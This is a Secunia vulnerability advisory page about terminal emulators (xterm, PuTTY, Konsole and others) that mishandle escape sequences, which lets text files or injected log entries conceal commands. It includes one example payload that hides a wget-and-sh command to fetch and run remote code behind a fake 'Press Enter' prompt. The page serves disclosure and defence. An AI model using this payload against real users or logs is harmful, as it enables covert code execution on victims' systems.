Secunia Logo  


Secunia PSI WorldMap
 
Terminal Emulators fail to handle escape sequences
Secunia Advisory: SA8146
Release Date: 2003-02-25
Last Update: 2004-05-10
Popularity: 21,406 views

Critical:
Moderately critical
Impact: System access
Where: From remote
Solution Status: Vendor Patch

Software:Apache 1.3.x
Apache 2.0.x
aterm 0.4.x
Eterm 0.9.x
gnome-terminal 2.x
hanterm-xf 2.x
Konsole 3.x
PuTTY 0.x
rxvt 2.7.x
SecureCRT 3.x

Secunia CVSS-2 Score: Available in Secunia business solutions

Subscribe: Instant alerts on relevant vulnerabilities


Advisory Content (Page 1 of 3)[ 1 ] [ 2 ] [ 3 ]

Description:
Different terminal emulators have been found vulnerable to an issue allowing malicious people to manipulate actions taken by the system administrator and other users.

The problem is that escape sequences like "\e2]2;" aren't handled correctly. This allows plain text files to manipulate the text shown in the terminal emulator, which could be exploited to show a "harmless" text messages that requires the user to respond by clicking enter. This will then execute commands hidden by the "harmless" text.

Example:
echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

This will ask the user to press enter, while concealing the commands in the background, which could download and execute malicious code.

The vulnerability could be used by local users to trick root or other local users into reading a malicious plain text file using commands like type, more, and tail.

However, remote users may also be able to inject this into log files. It has been reported that it is possible to inject escape sequences into Apache access and error log files. Other daemons may also write unfiltered text to log files.

See the original advisory from Digital Defense for more examples.

Versions confirmed vulnerable:
xterm xf86 4.2.0 (patch 165)
aterm 0.42
rxvt 2.7.8
Eterm 0.9.1
konsole 3.1.0 rc5
putty 0.53
SecureCRT 3.4.6
gnome-terminal 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf 2.0

Change Page:
[ 1 ] [ 2 ] [ 3 ]



Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

6th Nov, 2009
New advisories: 17
New vulnerabilities: 65
Updated advisories: 21

Less // 322 views
Debian update for linux-2.6.24
Less // 306 views
Debian update for linux-2.6
Moderately // 288 views
Gentoo update for horde
Less // 301 views
Fedora update for kernel
Less // 293 views
Fedora update for kernel
Moderately // 297 views
Ubuntu update for libgd2
Moderately // 309 views
Ubuntu update for libgd2
Highly // 310 views
Fedora update for alienarena-data

Solutions | More...  


Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. Sun Java JDK / JRE Multiple Vulnerabilities // 87 views
2. Internet Explorer Charset Inheritance Cross-Site Scripting Vulnerability // 50 views
3. Adobe Flash Player Multiple Vulnerabilities // 46 views
4. Oracle Products Multiple Vulnerabilities // 44 views
5. Oracle Products Multiple Vulnerabilities // 39 views
6. Oracle Products Multiple Vulnerabilities // 36 views
7. Google Chrome Two Vulnerabilities // 35 views
8. Oracle Products Multiple Vulnerabilities // 34 views
9. Oracle Products Multiple Vulnerabilities // 30 views
10. Adobe Reader/Acrobat Multiple Vulnerabilities // 29 views